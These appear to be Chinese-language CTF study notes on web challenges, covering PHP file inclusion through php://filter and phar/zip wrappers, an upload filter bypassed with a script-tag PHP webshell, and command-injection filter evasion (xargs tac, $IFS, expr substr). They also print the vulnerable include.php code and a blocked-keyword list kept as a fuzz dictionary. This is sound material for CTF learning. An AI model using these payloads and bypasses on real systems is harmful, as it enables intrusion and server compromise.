《從0到1:CTFer成長之路》ctf 學習筆記


文件包含

[第一章 web入門]afr_1 1

打開靶機:http://2653e528-79eb-4ce4-bb1c-1208500fa8f8.node4.buuoj.cn:81/?p=hello

看到形如?p=或者?file=、?page=類似的就要警惕。很有可能是文件包含漏洞。

嘗試包含index或者flag。發現包含flag后報錯no no no(導致代碼執行了,看不到flag)

嘗試偽協議包含。

http://2653e528-79eb-4ce4-bb1c-1208500fa8f8.node4.buuoj.cn:81/?p=php://filter/read=convert.base64-encode/resource=flag

得到PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9,base64解碼即可。

需要注意的是這道題用write不可以。不寫read=,或者寫read=都可以。

合天網安練習題

到合天官網,搜索: 第十一周 | 簽到般的包含 https://www.hetianlab.com/expc.do?ce=27f8fb0b-f176-4c4c-ae0e-6c6619c851a0

1、打開地址發現是一個上傳界面。按照常規思路,先上傳系統自帶的一個圖片,發現無法上傳。后來發現可能是限制上傳大小了。自己動手存了個小的圖片,jpg格式。可以正常上傳。

2、題目提示有include.php,實戰中也可以使用御劍掃描。

3、訪問include.php后發現代碼如下,應該有file參數可以訪問,但是可以看到攔截了不少參數:

Tips: the parameter is file! :) <html>
Tips: the parameter is file! :) 
</html>
<?php
show_source(__FILE__);
///opt/flag3.txt
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

4:、嘗試使用偽協議,zip、phar協議。結合之前的上傳頁面,上傳一個1.zip包,包里面放一個1.php。

1.php先寫成<?php phpinfo();?>用於測試。測試成功之后可以改寫成一句話木馬。

注意由於上傳時限制后綴,所以zip需要改名為jpg

5、上傳后使用phar://upload/1.jpg/1

即可包含。從include.php代碼可以看到,include($file.'.php');結尾會自動添加php,所以上一句最后的1后面什么也不用跟。

經實測,zip協議也是可以的。

 合天網安上傳題第五周-第八周

第八周

考察的點,主要是繞過。上傳后,要注意看代碼,上傳的鏈接已告知。在瀏覽器源碼中也能看到。

發現php可能被過濾了。因為上傳的phpinfo顯示位info。。。

參考這里https://blog.csdn.net/xiayu729100940/article/details/102619255

將php改為<script language=”php”>     </script>,同時所有語句中的php改為PHP或Php

<script language=pHp> 
Phpinfo();
?>

成功執行,改為一句話木馬即可。用蟻劍連接即可。注意大小寫,馬里面的POST等全部要用大寫。估計因為后台是linux的緣故。

 

命令執行

安恆ctf-命令執行漏洞相關練習-commix

打開后是一個輸入框。輸入ls后發現可以看到flag.php和index.php

 

 嘗試cat$IFSflag.php,發現不行。tac$IFSflag.php也不行。估計有過濾。

改為ls|xargs tac得到flag,也可以看到源代碼。其中的確過濾了不少內容。包括cat / cd flag curl { ( ' " echo \\ & grep base64

直接作為fuzz字典,以后用。

cat
/
cd
flag
curl
{
(
'
"
echo
\\
&
grep
base64
tac
$IFS
<

 

 

 官方給出的解法是:

a=`expr sbustr $PATH 1 1`;b=fla;c=g.php;d=ca;e=t;$d$e ..$a$b$c;

其中a用來獲得/

..$a$b$c用來組合成../flag.php

$d$e用來組合成為cat,繞過對cat的過濾。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM